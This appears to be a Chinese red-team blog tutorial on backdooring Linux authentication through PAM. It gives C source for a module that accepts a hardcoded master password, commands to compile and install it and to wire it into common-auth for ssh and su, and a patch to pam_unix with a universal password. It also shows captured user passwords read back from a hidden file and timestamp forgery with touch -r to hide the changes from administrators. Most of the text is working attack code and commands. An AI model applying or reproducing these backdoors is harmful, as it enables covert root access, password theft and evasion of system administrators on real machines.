什么是 PAM 模块?
PAM是一组负责系统中身份验证的插件。本质上,它是操作系统或应用程序可用来发出用户身份验证请求的API 。
PAM代表可插入身份验证模块.
所有可与 PAM 配合使用的实用程序和应用程序都会选择它们并使用它们进行用户身份验证。
实际上,它的工作原理如下:su命令调用 PAM,PAM 使用配置文件中指定的模块执行所有必要的检查,并将结果返回给su命令。
要使用 PAM,必须编写并编译程序才能使用它。您可以使用ldd来检查。在此示例中,我将测试ssh和su上的后门。
让我们确保它们可以使用 PAM 身份验证:
ldd /usr/sbin/sshd | grep libpam.so
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007f6a2344c000)
ldd /bin/su | grep libpam.so
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fdb89aed000)
太好了,我们继续吧。
编写我们自己的 PAM 后门
让我们使用主密码制作一个用于身份验证的通用密钥。让我们以 Federico Fazzi 的pambd为基础。
创建pambd.c 文件,不要忘记编辑MYPASSWD宏,指定您的主密码:
define MYPASSWD "my_master_passwd"
PAM_EXTERN int pam_sm_setcred
(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_acct_mgmt
(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_authenticate
(pam_handle_t *pamh, int flags,int argc, const char **argv) {
char *password = NULL;
pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password, NULL);
if (!strncmp(password, MYPASSWD, strlen(MYPASSWD)))
return PAM_SUCCESS;
return -1;
我在 Debian 10 中执行所有操作。组装需要 libpam-dev 包。因此,我们使用apt安装:
sudo apt update && apt install libpam0g-dev
让我们组装我们的模块:
gcc -shared -fPIC -ldl -o pam_bd.so pambd.c
现在您需要将其与其余 PAM 模块放在一起。就我而言,Debian x64 的路径是/lib/x86_64-linux-gnu/security/。
如果您有类似 RedHat 的发行版(例如 CentOS 或 Fedora),则路径将为/lib/security/或/lib64/security /,具体取决于操作系统是 64 位还是 32 位。对于 Debian x86,路径为/usr/lib/i386-linux-gnu。
复制模块编译后的模块pam_bd.so:
mv pam_bd.so /lib/x86_64-linux-gnu/security/
file /lib/x86_64-linux-gnu/security/pam_bd.so
ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=a2a009b87e1aedc42ed54bef1cd861ab822290e9, not stripped :
现在您需要修复pamd的配置,其文件位于/etc/pam.d目录中。例如,对于ssh ,它将是/etc/pam.d/sshd,对于su ,分别是/etc/pam.d/su。
如果之前交互逻辑是在每个服务配置文件中单独指定的话,现在新版本的Linux使用配置文件/etc/pam.d/common-account、/etc/pam.d/common-auth等,这些配置文件使用在其他服务的配置pamd中。
这只是对我们有利。让我们一次性启用该模块以进行ssh身份验证、su身份验证以及使用@include common-auth 的其他所有内容。
我们查看/etc/pam.d/common-auth的内容:
cat /etc/pam.d/common-auth
...
# here are the per-package modules (the "Primary" block)
auth [success=1 default=ignore] pam_unix.so nullok_secure
# here's the fallback if no module succeeds
...
我们看到 pam_unix.so 将首先连接。将 control_flag [success=1 default=ignore]更改为足够并添加您的 pam.d 后门。编辑文件/etc/pam.d/common-auth:
nano /etc/pam.d/common-auth
我们将其转化为以下形式:
cat /etc/pam.d/common-auth
...
# here are the per-package modules (the "Primary" block)
auth sufficient pam_unix.so nullok_secure
auth sufficient pam_bd.so
# here's the fallback if no module succeeds
...
我们使用 MYPASSWD 宏中的密码保存并测试su和ssh ,该密码是在汇编期间指定的:
ssh n0a@localhost
The authenticity of host 'localhost (::1)' can't be established.
ECDSA key fingerprint is SHA256:UL4+UyFTOprFo2YpajAUsdpXsQsR9FtNBNZf3+9KUIM.
Are you sure you want to continue connecting (yes/no)? yes
测试表明我们的PAM 后门效果很好。剩下要做的就是掩盖你的踪迹。为此,我们将更改pam_bd.so和common-auth文件的时间戳,以便管理员不会发现任何可疑内容。
我们检查我们的文件和附近文件的当前时间戳:
ls -la /etc/pam.d
drwxr-xr-x 2 root root 4096 ноя 25 16:26 .
drwxr-xr-x 118 root root 4096 ноя 24 13:46 ..
-rw-r--r-- 1 root root 384 сен 27 2017 chfn
-rw-r--r-- 1 root root 92 сен 27 2017 chpasswd
-rw-r--r-- 1 root root 581 сен 27 2017 chsh
-rw-r--r-- 1 root root 1251 ноя 5 05:01 common-account
-rw-r--r-- 1 root root 1232 ноя 25 15:59 common-auth
-rw-r--r-- 1 root root 1480 ноя 5 05:01 common-password
-rw-r--r-- 1 root root 1189 ноя 5 05:01 common-session
...
ls -la /lib/x86_64-linux-gnu/security/
итого 1276
drwxr-xr-x 2 root root 4096 ноя 25 16:11 .
drwxr-xr-x 79 root root 69632 ноя 25 14:55 ..
-rw-r--r-- 1 root root 18632 фев 14 2019 pam_access.so
-rwxr-xr-x 1 root root 16120 ноя 25 15:57 pam_bd.so
-rw-r--r-- 1 root root 14400 фев 14 2019 pam_debug.so
-rw-r--r-- 1 root root 13968 фев 14 2019 pam_deny.so
-rw-r--r-- 1 root root 14368 фев 14 2019 pam_echo.so
...
对于common-auth,我们将使用common-password时间,对于pam_bd.so,我们将使用 pam_access.so时间。我们不要忘记设置pam_bd.so 的权限:
touch -r /etc/pam.d/common-password /etc/pam.d/common-auth
chmod 0644 /lib/x86_64-linux-gnu/security/pam_bd.so
touch -r /lib/x86_64-linux-gnu/security/pam_access.so /lib/x86_64-linux-gnu/security/pam_bd.so
我们检查:
ls -la /etc/pam.d
итого 120
drwxr-xr-x 2 root root 4096 ноя 25 16:26 .
drwxr-xr-x 118 root root 4096 ноя 24 13:46 ..
-rw-r--r-- 1 root root 384 сен 27 2017 chfn
-rw-r--r-- 1 root root 92 сен 27 2017 chpasswd
-rw-r--r-- 1 root root 581 сен 27 2017 chsh
-rw-r--r-- 1 root root 1251 ноя 5 05:01 common-account
-rw-r--r-- 1 root root 1232 ноя 5 05:01 common-auth
-rw-r--r-- 1 root root 1480 ноя 5 05:01 common-password
-rw-r--r-- 1 root root 1189 ноя 5 05:01 common-session
...
ls -la /lib/x86_64-linux-gnu/security/
итого 1276
drwxr-xr-x 2 root root 4096 ноя 25 16:11 .
drwxr-xr-x 79 root root 69632 ноя 25 14:55 ..
-rw-r--r-- 1 root root 18632 фев 14 2019 pam_access.so
-rw-r--r-- 1 root root 16120 фев 14 2019 pam_bd.so
-rw-r--r-- 1 root root 14400 фев 14 2019 pam_debug.so
-rw-r--r-- 1 root root 13968 фев 14 2019 pam_deny.so
-rw-r--r-- 1 root root 14368 фев 14 2019 pam_echo.so
...
伟大的。现在我们有了自己的PAM后门,非常适合安装在系统中。
在 pam_unix.so 中添加书签并进行日志记录
如果我们不使用自己的库,而是编译我们自己的原始pam_unix.so版本并添加其他用户输入的密码日志记录,该怎么办?诱人吗?我同意,我们就这么做吧。
要修改pam_unix.so,我们需要使用PAM源代码。有两种获取方式:
1.我们从 github 存储库获取源代码:( https://github.com/linux-pam/linux-pam/releases )
2.我们使用apt下载当前安装版本的源代码。
我将采取第二条路径,因为在这种情况下,我们将直接从系统中的版本修改代码。
为此,我们更新并获取源代码中当前安装的 PAM 版本:
sudo apt update
sudo apt install dpkg-dev
sudo apt build-dep pam
apt source pam
cd pam-1.3.1
可以看到,系统当前的版本是pam-1.3.1。为了使用您自己的密码和登录日志记录添加授权,我们需要文件pam-1.3.1/modules/pam_unix/pam_unix_auth.c。
我们找到代码(pam_unix_auth.c 文件的~177 行):
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
name = p = NULL;
通过替换retval = _unix_verify_password(pamh, name, p, ctrl); 来修改该行;到我们的代码(这里是通用密码the-world-is-yours,您可以将其替换为您自己的):
nano modules/pam_unix/pam_unix_auth.c
// Вводим дополнительную проверку
if (strcmp(p, "the-world-is-yours") != 0) {
retval = _unix_verify_password(pamh, name, p, ctrl);
} else {
retval = PAM_SUCCESS;
}
修改pam_unix_auth.c
它应该看起来像这样:
修改pam_unix_auth.c
我们收集“更正后的”PAM,将pam_unix.so复制到/lib/x86_64-linux-gnu/security/,更改时间戳:
./configure
make
cp modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/
touch -r /lib/x86_64-linux-gnu/security/pam_access.so /lib/x86_64-linux-gnu/security/pam_unix.so
使用密码the-world-is-yours测试新的后门:
ssh 192.168.232.138
[email protected]'s password:
Linux luks 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Nov 25 19:02:12 2020 from ::1
cat /tmp/.passwd
root:the-world-is-yours
root:t3st#
n0a:the-world-is-yours
成功。现在我们不仅在本机 PAM 身份验证模块中安装了书签,而且还能够读取密码。此外,目前有两个书签正在运行:第一个书签为pam_bd.so,新的书签为pam_unix.so。
对于最后一个过程的自动化工具,我可以推荐https://github.com/zephrax/linux-pam-backdoor。做同样的事情,但是是自动的。如果您需要添加日志记录,请编辑backdoor.patch文件。
结论
我们一起分析了PAM模块及其在身份验证过程中的工作,创建了多个后门并掩盖了我们的踪迹。这是一个相当可靠的手段,但我们必须记住,这并不是一个永恒的固定在系统中的方式。如果包管理器中有PAM更新,pam_unix.so将被覆盖。不要忘记数据包完整性监控。
参考:
https://github.com/eurialo/pambd
原文始发于微信公众号(红队笔记录):linux之PAM模块后门
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论